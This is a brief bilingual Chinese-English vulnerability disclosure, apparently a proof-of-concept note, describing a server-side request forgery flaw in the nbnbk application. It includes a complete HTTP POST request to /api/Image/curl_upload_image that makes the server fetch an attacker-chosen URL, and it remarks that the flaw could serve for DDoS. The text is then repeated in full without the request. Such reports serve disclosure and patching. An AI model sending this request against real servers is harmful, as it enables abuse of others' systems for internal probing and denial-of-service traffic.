nbnbk 存在SSRF漏洞
SSRF vulnerability in nbnbk
0x00 前言 Preface
该漏洞可以伪装服务器发送请求，但没有回显，危害较小，可以做为 DDOS 使用。
漏洞存在版本：default
This bug can disguise the server from sending requests, but it does not echo and is less harmful and can be used as a DDOS.
Vulnerability Existing Version: default
0x01 漏洞复现 Vulnerability Reproduction
POST /api/Image/curl_upload_image HTTP/1.1
Host: nbnbk:8888
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
url=http://127.0.0.1:8088&file[tmp_name]=1&file[type]=1&file[name]=1
替换 url 来进行 SSRF 攻击，该漏洞没有回显。发送请求后可以看到服务器已经向外请求了。
Replace url for `SSRF'attack, the vulnerability is not echoed. After sending the request, you can see that the server has already made an outgoing request.
nbnbk 存在SSRF漏洞
SSRF vulnerability in nbnbk
0x00 前言 Preface
该漏洞可以伪装服务器发送请求，但没有回显，危害较小，可以做为 DDOS 使用。
漏洞存在版本：default
This bug can disguise the server from sending requests, but it does not echo and is less harmful and can be used as a DDOS.
Vulnerability Existing Version: default
0x01 漏洞复现 Vulnerability Reproduction
替换
url来进行SSRF攻击，该漏洞没有回显。发送请求后可以看到服务器已经向外请求了。Replace
urlfor `SSRF'attack, the vulnerability is not echoed. After sending the request, you can see that the server has already made an outgoing request.